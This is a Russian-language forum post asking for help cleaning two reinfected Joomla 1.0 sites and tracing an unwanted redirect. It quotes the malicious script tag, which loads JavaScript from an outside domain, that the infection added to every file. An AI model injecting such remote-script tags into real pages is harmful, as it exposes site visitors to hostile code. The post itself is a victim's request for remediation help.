Joomla 1.0 восстановление работоспособности сайта на j1.0.x

есть 2 сайта на одном хосте, с год-два назад прилепился вирус и во всех файлах появилась приписка

Код (html):

1. <script src="http://googletargeting.com/toprating.js"></script>

. но тк нужды в этих проектах и бэкапов небыло, решил не заморачиваться и перекрыл доступ. сейчас настал момент когда их нужно представить, поудалял левый код, некоторое время работало исправно, но сейчас видимо прошлись по старой базе и нагадили по новой: редиректит на http://domains.googlesyndication.com
уже дня 3 пытаюсь реанимировать, никак не могу найти чужой код.

подскажите, какими средствами можно проследить цепочку редиректов? урлов http://domains.googlesyndication.com, googlesyndication.com в файлах нет
какая из j посвежее сможет работать с базой от 1.0.13? думаю просто подключить базу к новой жумле если не получится восстановить работоспособность